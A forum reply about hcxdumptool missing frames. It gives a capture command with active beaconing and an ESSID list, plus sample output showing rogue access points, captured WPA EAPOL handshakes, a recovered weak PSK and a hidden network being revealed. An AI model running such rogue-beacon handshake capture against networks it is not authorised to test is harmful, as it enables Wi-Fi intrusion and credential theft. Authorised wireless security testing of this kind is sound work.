hcxdumptool - missing frames w/ filtering

[ZerBea]

That highly depend on command line options. Add your target ESSID to beaconlist and activate active beaconing

Code:

$ sudo hcxdumptool -i INTERFACE -o dump.pcapng --enable_status=63 --essidlist=beaconlist --active_beacon

Real time display will now show something like this:

Code:

start capturing (stop with ctrl+c) NMEA 0183 SENTENCE........: N/A PHYSICAL INTERFACE........: phy0 INTERFACE NAME............: wlp39s0f3u1u1u2 INTERFACE PROTOCOL........: IEEE 802.11 INTERFACE TX POWER........: 20 dBm (lowest value reported by the device) INTERFACE HARDWARE MAC....: 00e0614861dd (not used for the attack) INTERFACE VIRTUAL MAC.....: 00e0614861dd (not used for the attack) DRIVER....................: mt7601u DRIVER VERSION............: 5.17.4-arch1-1 DRIVER FIRMWARE VERSION...: N/A openSSL version...........: 1.1 ERRORMAX..................: 100 errors BPF code blocks...........: 0 FILTERLIST ACCESS POINT...: 0 entries FILTERLIST CLIENT.........: 0 entries FILTERMODE................: unused WEAK CANDIDATE............: 12345678 ESSID list................: 0 entries ACCESS POINT (ROGUE)......: 000d58c1ce00 (BROADCAST WILDCARD used for the attack) ACCESS POINT (ROGUE)......: 000d58c1ce01 (BROADCAST OPEN used for the attack) ACCESS POINT (ROGUE)......: 000d58c1ce02 (used for the attack and incremented on every new client) CLIENT (ROGUE)............: c02250adb8f5 EAPOLTIMEOUT..............: 20000 usec EAPOLEAPTIMEOUT...........: 2500000 usec REPLAYCOUNT...............: 61716 ANONCE....................: 90fe8fc68c095d20c062252428a1654cef944a1a6de60667fde0cecad0f6fb2c SNONCE....................: 601f7f1a918f639df71a84274c7f8f75ca00da57a24a8646c92305766c36c26b TIME FREQ/CH MAC_DEST MAC_SOURCE ESSID [FRAME TYPE] 11:28:33 2472/13 ffffffffffff 0896d798e19e [WILDCARD BEACON] 11:28:34 2472/13 f6c56a62c874 0896d798e19e TEST-HIDDEN-ESSID [PROBERESPONSE] 11:46:43 2462/11 00e62d021987 0896d798e19e TEST-HIDDEN-ESSID [ROGUE PROBERESPONSE] 11:28:39 2472/13 00e62d021987 0896d798e19e TEST-HIDDEN-ESSID [AUTHENTICATION] 11:28:39 2472/13 00e62d021987 0896d798e19e TEST-HIDDEN-ESSID [ASSOCIATION] 11:28:39 2472/13 00e62d021987 0896d798e19e TEST-HIDDEN-ESSID [EAPOL:M1M2ROGUE EAPOLTIME:2121 RC:61716 KDV:2 PSK:12345678] 11:28:40 2472/13 00e62d021987 0896d798e19e TEST-HIDDEN-ESSID [EAPOL:M2M3 EAPOLTIME:1950 RC:3 KDV:2] 11:28:40 2472/13 00e62d021987 0896d798e19e TEST-HIDDEN-ESSID [EAPOL:M3M4ZEROED EAPOLTIME:3329 RC:3 KDV:2]

Explanation:
A CLIENT will not leave the AP it is connected to, if it doesn't receive a BEACON advertising better conditions.
And as a bonus, it will unhide a hidden ESSID.